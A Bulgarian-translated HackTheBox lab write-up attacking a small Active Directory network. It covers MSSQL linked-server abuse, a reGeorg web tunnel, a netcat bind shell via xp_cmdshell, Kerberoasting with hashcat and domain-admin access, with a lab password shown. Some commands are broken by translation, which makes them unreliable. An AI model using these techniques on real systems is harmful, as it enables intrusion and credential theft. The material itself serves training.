HackTheBox крайна игра. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

HackTheBox крайна игра. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

В тази статия ще разгледаме не просто машина, а цяла мини-лаборатория от площадката HackTheBox.

Както е посочено в описанието, P.O.O. е предназначен за проверка на уменията на всички етапи на атаки в малка среда на Active Directory. Целта е да се компрометира достъпният хост, да се повишат привилегиите и в крайна сметка да се компрометира целият домейн, събирайки 5 флага.

Свързването с лабораторията се извършва чрез VPN. Препоръчва се да не се свързвате от работния компютър или от хост, където имате важни данни, тъй като попадате в частна мрежа с хора, които разбират нещо в сферата на киберсигурността 🙂

Организационна информация
За да можете да получавате информация за нови статии, софтуер и други, създадох канал в Telegram и група за обсъждане на всякакви въпроси в областта на ИиКБ. Също така ще разгледам личните ви молби, въпроси, предложения и препоръки и ще отговоря на всички.

Цялата информация е предоставена изключително с образователна цел. Авторът на този документ не носи отговорност за каквито и да било щети, причинени на трети лица в резултат на използването на знания и методи, получени от изучаване на този документ.

Intro

Този крайгълен случай се състои от две машини и съдържа 5 флага.

HackTheBox крайна игра. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

Също така се дава описание и адрес на достъпния хост.

HackTheBox крайна игра. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

Стартираме!

Recon флаг

Тази машина има IP адрес 10.13.38.11, който добавям в /etc/hosts.
10.13.38.11 poo.htb

Първо сканираме отворените портове. Тъй като сканирането на всички портове с nmap отнема време, първо ще го направя с masscan. Сканируем всички TCP и UDP портове от интерфейса tun0 с скорост 500 пакета в секунда.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

HackTheBox крайна игра. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

Сега, за да получим по-подробна информация за услугите, които работят на портовете, ще стартираме сканиране с опцията -А.

nmap -A poo.htb -p80,1433

HackTheBox крайна игра. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

Така имаме услуги IIS и MSSQL. Освен това разбираме реалното DNS име на домейна и компютъра. На уеб сървъра ни посреща началната страница на IIS.

HackTheBox крайна игра. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

Нека разгледаме директориите. За целта използвам gobuster. В параметрите задавам броя на потоковете 128 (-t), URL (-u), речника (-w) и разширенията, които ни интересуват (-x).

gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html

HackTheBox крайна игра. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

По този начин имаме HTTP удостоверяване за директорията /admin, а също така достъпен файл на хранилището за работния плот .DS_Store. .DS_Store е файл, в който се съхраняват потребителски настройки за папката, като списък с файлове, разположение на иконите и избрано фоново изображение. Такъв файл може да попадне в директорията на уеб сървъра при уеб разработчиците. По този начин получаваме информация за съдържанието на каталога. За целта може да се използва DS_Store краулър.

python3 dsstore_crawler.py -i http://poo.htb/

HackTheBox крайна игра. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

Получаваме съдържанието на каталога. Най-интересното тук е каталогът /dev, от който можем да видим изходния код и файловете db в две клонове. Но можем да видим първите 6 символа на името на файловете и директориите, ако услугата е уязвима към IIS ShortName. Можем да проверим за наличието на тази уязвимост с помощта на IIS shortname Scanner.

HackTheBox крайна игра. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

И намираме един текстов файл, който започва с «poo_co». Не знаейки какво да правя по-нататък, просто избрах от речника на директорийте всички думи, започващи на «co».

cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt

И ще ги пробваме с помощта на wfuzz.

wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404

HackTheBox крайна игра. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

И намираме подходяща дума! Разглеждаме наличния файл, запазваме данните за вход (съдейки по параметъра DBNAME, те са от MSSQL).

HackTheBox крайна игра. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

Подаваме флага и напредваме с 20%.

HackTheBox крайна игра. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

Huh flag

Свързваме се с MSSQL, аз използвам DBeaver.

HackTheBox крайна игра. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

Не намираме нищо интересно в тази база, нека създадем SQL редактор и да проверим какви потребители съществуват.

SELECT name FROM master..syslogins;

HackTheBox крайна игра. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

Имаме двама потребители. Нека проверим привилегиите си.

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

HackTheBox крайна игра. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

По този начин нямаме никакви привилегии. Нека погледнем свързаните сървъри, за тази методология пишех подробно. тук.

SELECT * FROM master..sysservers;

HackTheBox крайна игра. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

Така откриваме още един SQL Server. Нека проверим изпълнението на команди на този сървър с помощта на openquery().

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');

HackTheBox крайна игра. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

И дори можем да изграждаме дърво от заявки.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');

Фактът е, че когато изпълняваме заявка на свързан сървър, заявката се изпълнява в контекста на друг потребител! Нека видим в контекста на кой потребител работим на свързания сървър.

SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');

HackTheBox крайна игра. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

А сега да видим в какъв контекст се изпълняват заявките от свързания сървър на нашия!

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');

HackTheBox крайна игра. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

По този начин, това е контекстът DBO, който трябва да притежава всички привилегии. Нека проверим привилегиите при заявка от свързания сървър.

ИЗБЕРЕТЕ * ОТ openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

HackTheBox крайна игра. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

Както можем да видим, имаме всички привилегии! Нека създадем наш администратор по този начин. Но не можем да го направим чрез openquery, нека го направим чрез EXECUTE AT.

EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";

И сега се свързваме с данните на новия потребител, наблюдаваме новата база данни flag.

HackTheBox крайна игра. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

Предаваме този флаг и продължаваме напред.

HackTheBox крайна игра. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

BackTrack флаг

Ще получим шелл чрез MSSQL, използвам mssqlclient от пакета impacket.

mssqlclient.py ralf:ralfralf@poo.htb -db POO_PUBLIC

HackTheBox крайна игра. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

Трябва да намерим паролите и първото, което вече срещнахме, е сайтът. Таким образом, нуждаем се от конфигурацията на уеб сървъра (не мога да пусна удобен шелл, явно работи защитната стена).

HackTheBox крайна игра. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

Но достъпът е забранен. Въпреки това можем да прочетем файл от MSSQL, просто трябва да знаем какви програмни езици са настроени. В директорията MSSQL разбираме, че има Python.

HackTheBox крайна игра. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

Тогава прочитането на файла web.config не е никакъв проблем.

EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"

HackTheBox крайна игра. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

С намерените данни за вход влизаме в /admin и вземаме флага.

HackTheBox крайна игра. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

HackTheBox крайна игра. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

Foothold флаг

Наистина, използването на защитна стена има някои неудобства, но като преглеждаме настройките на мрежата, забелязваме, че се използва и пряка връзка чрез IPv6!

HackTheBox крайна игра. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

Добавяме този адрес в /etc/hosts.
dead:babe::1001 poo6.htb
Нека отново сканираме хоста, но по протокол IPv6.

HackTheBox крайна игра. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

И по IPv6 е налична услугата WinRM. Свързваме се с намерените данни за вход.

HackTheBox крайна игра. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

На работния плот има флаг, предаваме го.

HackTheBox крайна игра. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

P00ned флаг

След проведено разузнаване на хоста с помощта на winpeas не намираме нищо забележително. Тогава бе взето решение отново да търсим данни за вход (за това също писах статия). Но не успях да получа всички SPN от системата чрез WinRM.

setspn.exe -T intranet.poo -Q *
/*

HackTheBox крайна игра. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

Нека изпълним командата чрез MSSQL.

HackTheBox крайна игра. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

По посочения начин получаваме SPN на потребителите p00_hr и p00_adm, което означава, че те са уязвими на атаки, като Kerberoasting. В кратце, можем да получим хешовете на техните пароли.

Първо трябва да получим стабилен шелл от името на потребителя MSSQL. Но тъй като сме ограничени в достъпа, имаме свързване с хоста само през порт 80 и 1433. Въпреки това, има възможност за тунелиране на трафика през порт 80! За това ще използваме следното приложение. Ще качим файла tunnel.aspx в домашната директория на уеб сървъра — C:inetpubwwwroot.

HackTheBox крайна игра. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

Но при опит за достъп до него получаваме грешка 404. Това означава, че файловете с разширение *.aspx не се изпълняват. За да могат файловете с това разширение да се изпълняват, инсталираме ASP.NET 4.5 по следния начин.

dism /online /enable-feature /all /featurename:IIS-ASPNET45

HackTheBox крайна игра. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

HackTheBox крайна игра. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

И сега, когато се опитаме да отворим tunnel.aspx, получаваме отговор, че всичко е готово за работа.

HackTheBox крайна игра. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

Нека стартираме клиентската част на приложението, което ще се занимава с ретранслирането на трафика. Ще пренасочим целия трафик от порт 5432 към сървъра.

python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx

HackTheBox крайна игра. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

И използваме proxychains, за да изпращаме трафика на всяко приложение през нашия прокси. Добавяме този прокси в конфигурационния файл /etc/proxychains.conf.

HackTheBox крайна игра. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

Сега ще качим на сървъра програмата netcat, с която ще направим стабилен bind шелл, и скрипта Invoke-Kerberoast, с помощта на който ще извършим атаката Kerberoasting.

HackTheBox крайна игра. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

Сега чрез MSSQL стартираме слушателя.

xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321

HackTheBox крайна игра. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

И се свързваме през нашия прокси.

proxychains rlwrap nc poo.htb 4321

HackTheBox крайна игра. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

И нека вземем хешовете.

. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt

HackTheBox крайна игра. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

След това трябва да преминем през тези хешове. Тъй като в речника rockyou нямаше тези пароли, използвах ВСИЧКИ речници passwords, предоставени в Seclists. За преминаването използваме hashcat.

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

И намираме и двете пароли, първата в речника dutch_passwordlist.txt, а втората в Keyboard-Combinations.txt.

HackTheBox крайна игра. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

HackTheBox крайна игра. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

И така имаме трима потребители, отиваме на контролера на домейна. Първо, да разберем адреса му.

HackTheBox крайна игра. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

Отлично, узнали IP адреса на доменното управление. Нека да разберем всички потребители на домена и кой от тях е администратор. Ще изтеглим скрипта PowerView.ps1 за получаване на информация. След това ще се свържем с помощта на evil-winrm, задавайки директорията със скрипта в параметъра -s. А после просто ще заредим скрипта PowerView.

HackTheBox крайна игра. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

Сега имаме достъп до всичките му функции. Потребителят p00_adm изглежда привилегирован, затова ще работим в неговия контекст. Ще създадем обект PSCredential за този потребител.

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass

Сега всички команди PowerShell, където посочим Creds, ще се изпълняват от името на p00_adm. Нека да изведем списък с потребители и атрибута AdminCount.

Get-NetUser -DomainController dc -Credential $Creds | select name,admincount

HackTheBox крайна игра. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

И така, нашият потребител наистина е привилегирован. Нека да видим в кои групи е част.

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds

HackTheBox крайна игра. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

Потвърдяваме, че потребителят е администратор на домена. Това му дава правото на дистанционен достъп до доменното управление. Нека да опитаме да влезем през WinRM, използвайки нашия тунел. Ошибките, показвани от reGeorg при използването на evil-winrm, ме затрудняват.

HackTheBox крайна игра. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

Тогава да използваме друг, по-лесен, скриптом за свързване с WinRM. Нека да отворим и променим настройките за свързване.

HackTheBox крайна игра. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

Опитваме се да се свържем и сме в системата.

HackTheBox крайна игра. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

Но флагът го няма. Тогава да погледнем в потребителите и да проверим десктопите.

HackTheBox крайна игра. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

При mr3ks намираме флага и лабораторията е завършена на 100%.

HackTheBox крайна игра. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

Ето, всичко е готово. Като обратна връзка, моля, коментирайте — научихте ли нещо ново от тази статия и беше ли ви полезна.

Можете да се присъедините към нас в Telegram. Там можете да намерите интересни материали, изтекли курсове и софтуер. Нека създадем общност, в която да има хора, разбиращи много области на ИТ, така че да можем да си помагаме по всякакви въпроси в ИТ и ИБ.

Източник: habr.com

Купете надежден хостинг за сайтове с защита от DDoS, VPS VDS сървъри 🔥 Купете надежден хостинг за сайтове с защита от DDoS, VPS VDS сървъри | ProHoster